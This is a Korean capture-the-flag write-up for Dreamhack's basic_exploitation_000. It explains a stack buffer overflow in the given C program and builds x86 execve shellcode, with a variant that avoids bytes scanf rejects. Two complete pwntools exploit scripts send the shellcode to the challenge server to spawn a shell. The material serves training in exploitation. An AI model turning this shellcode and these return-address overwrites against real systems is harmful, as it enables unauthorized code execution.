[Dreamhack] basic_exploitation_000
문제
문제에서는 basic_exploitation_000, basic_exploitation_000.c 파일을 제공해준다.
basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[])
{
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
풀이
main을 보면 0x80 크기의 버퍼를 생성하고 buf의 주소를 출력해준 후, scnaf함수를 통하여 141바이트 만큼을 입력받는다.
버퍼의 크기는 0x80 = 128바이트 이지만, 141바이트가 입력이 가능하므로 스택 버퍼 오버플로우 공격이 가능하다.
0x80의 공간에 쉘코드를 넣고, main 함수가 buf의 주소를 알려주므로 return address를 버퍼의 주소로 바꾸는 return address overflow 공격을 할 것이다.
공격에 필요한 x86 execve shellcode를 만들어 보자.
shellcode.asm
section .text
global _start
_start:
xor eax, eax
xor edx, edx
xor ecx, ecx
push eax
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
mov al 0x0b
int 0x80
x86에서 execve를 호출하기 위해서는 다음과 같은 인자를 필요로 한다.
syscall name | eax | ebx | ecx | edx |
execve | 0x0b | const char *filename | const char *const *argv | const char *const *envp |
Chromium OS Docs - Linux System Call Table
Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc
chromium.googlesource.com
x86-32_bit쉘을 얻어오기 위한 인자로는 execve("/bin//sh", 0, 0) 로 주면 된다.
/bin/sh 과 /bin//sh은 같은 의미이다. 단지 4바이트의 단위를 맞추기 위해 // 를 사용한 것이다.
따라서 ebx는 "/bin//sh"을 주고 나머지는 xor 하여 0으로 맞춰 주면 된다.
그리고 al에 0x0b 값을 넣어주고 int 0x80을 하여 syscall을 하면 execve("/bin//sh", 0, 0) 가 호출되어 쉘을 얻을 수 있다.
이제 어셈블하여 opcode를 얻어보자.
nasm -f elf32 shellcode.asm (shellcode.o 생성)
objcopy --dump-section .text=shellcode.bin shellcode.o (shellcode.bin 생성)
xxd -p shellcode.bin (opcode 출력)
위 과정을 거치면 31c031d231c950682f2f7368682f62696e89e3b00bcd80 가 나온다.
이를 파이썬에 사용할 수 있는 서식으로 변경하겠다.
xxd2py.py
bin = input("") # xxd -p file.bin
result = ""
if len(bin) % 2 != 0:
bin = '0' + bin
for i in range(len(bin) // 2):
result += "\\x"
result += bin[i*2:i*2+2]
print('b"' + result + '"')
위 파이썬 코드를 이용하여 바꾸면 b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 가 출력된다.
이제 pwntools를 이용하여 익스플로잇을 해보자.
exploit.py
from pwn import *
http = 'host3.dreamhack.games'
port = 15156
p = remote(http, port)
p.recvuntil('(')
addr = int(p.recvuntil(')')[:-1], 16)
get_shell = b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = b''
payload += get_shell
payload += b"A"*(128 + 4 - len(get_shell))
payload += p32(addr)
p.sendline(payload)
p.interactive()
p.recvuntil('(')
addr = int(p.recvuntil(')')[:-1], 16)
버퍼의 주소를 알아오기 위해 recvutil을 이용하여 출력해주는 부분에서 "buf = (" 과 ")" 를 버려서
주소값만을 addr변수에 저장한다.
get_shell = b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = b''
payload += get_shell
payload += b"A"*(128 + 4 - len(get_shell))
buf의 크기인 128바이트와 x86이므로 ebp의 크기인 4를 더하여 총 132바이트의 공간을 채워야 한다.
따라서 쉘코드의 크기를 제외한 나머지 영역을 A로 채운다.
payload += p32(addr)
마지막으로 return address overflow를 하기 위해 얻어온 버퍼의 주소를 넣어준다.
이제 exploit.py를 실행해보면 실패하는 것을 볼 수있다.
실패 이유
scanf 함수는 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20 바이트를 만나면 읽는 것을 종료한다.
objdump -d shellcode.o 를 해서 보면
13라인에 0x0b가 들어가는 것을 볼 수있다. 0x0b는 scanf 가 입력받지 못하는 값이므로 이 값이 안들어 가도록 수정해야 한다.
scanf 우회 shellcode
section .text
global _start
_start:
xor eax, eax
xor edx, edx
xor ecx, ecx
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0x08
add al, 0x03
int 0x80
위 어셈블리 코드를 보면
mov al, 0x0b
위의 부분이 다음과 같이 변경된 것을 볼 수 있다.
mov al, 0x08
add al, 0x03
둘다 같은 의미의 코드이지만,
첫번째 코드는 al에 바로 0x0b를 저장했다면, 두번째 코드는 al에 0x08을 저정한 후 0x03을 더하여 0x0b를 쓰지 않도록 했다.
아래 명령어를 이용하여 확인해 보면
nasm -f elf32 shellcode.asm (shellcode.o 생성)
objdump -d shellcode.o (디스어셈블)
0x0b가 사라진 것을 확인 할 수 있다.
이제 이 어셈블리 코드를 이용하여 쉘코드를 만들면 \x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x08\x04\x03\xcd\x80 가 나온다.
이제 exploit.py에서 get_shell 변수에 실패했던 쉘코드에서 scanf 우회 쉘코드로 바꾸어 공격을 해보자.
exploit.py
from pwn import *
http = 'host3.dreamhack.games'
port = 15156
file = 'basic_exploitation_001'
p = remote(http, port)
p.recvuntil('(')
addr = int(p.recvuntil(')')[:-1], 16)
get_shell = b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x08\x04\x03\xcd\x80"
payload = b''
payload += get_shell
payload += b"A"*(128 + 4 - len(get_shell))
payload += p32(addr)
p.sendline(payload)
p.interactive()
결과
쉘을 얻으므로 flag의 값을 알 수 있다.